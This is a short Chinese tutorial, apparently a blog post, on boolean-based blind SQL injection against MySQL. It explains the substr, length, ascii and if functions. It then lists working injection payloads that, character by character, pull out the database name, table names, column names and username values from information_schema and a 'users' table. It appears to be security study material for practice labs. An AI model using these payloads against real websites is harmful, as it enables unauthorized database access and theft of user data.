看不到回显时使用盲注
布尔盲注
- 在进行SQL注入时,web页面仅返回True和False
- 布尔盲注会根据web页面返回的True或者False信息,对数据库中的信息,对数据库中的信息进行猜解,并获取数据库中的相关信息
函数
- substr()-->用来截取字符串某一列字段中的一部分,在各个数据库中的函数名称是不一样的使用方式:substr(arg1,int,int2),啊arg1是被选取的字符串,int1为截取开始的位置,int2为截取长度
- length()-->获取数据库长度,使用方式:length(arg1),arg1代表字符串
- ascii()-->将单一字符,转化为ascii码值。使用方式ascii(str),str代表字符
- if()-->条件判断。使用方式:if(arg1,arg2,arg3),arg1代表判断的条件,arg2是条件为真返回的结果,arg3是条件为假返回的结果
求库的长度
1' and length(database())>8#
求库名
-- substr 返回子字符串
-- 8是当前数据库'security'的长度 ,从第8个开始,取1位,则是'r'
-- 如果pos为9 那么开始位置大于字符串长度,ascii函数处理后将变成false
-- and 后只要不为 0, 页面都会返回正常
1' AND (ASCII(SUBSTR(database(),2,1)) = 101)#
求当前数据库存在的表的数量
1' AND (select count(table_name) from information_schema.`TABLES` where table_schema = database()) = 4#
求当前数据库表的表名长度
1' AND (LENGTH(
(select table_name from information_schema.`TABLES` where table_schema = database() LIMIT 0,1)
)) = 6#
求表名
1' AND ASCII(SUBSTR(
(select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),
1,1)) = 101#
求表中列的数量
1' AND (select count(column_name) from information_schema.columns where table_name = "users") = 3#
求指定表中列的长度
1' AND ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),2,1))#
求指定表中的列名
1' AND ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),
1,1)) = 105#
求指定表中某字段的数量
1' AND (select count(username) from users) = 13#
求字段长度
1' AND ASCII(SUBSTR((select username from users limit 0,1),4,1))#
求字段名
1' and ASCII(SUBSTR((select username from users limit 0,1),1,1)) = 68#
标签:name,--,SUBSTR,SQL,table,schema,盲注,select,布尔
From: https://www.cnblogs.com/p1ggy/p/18000486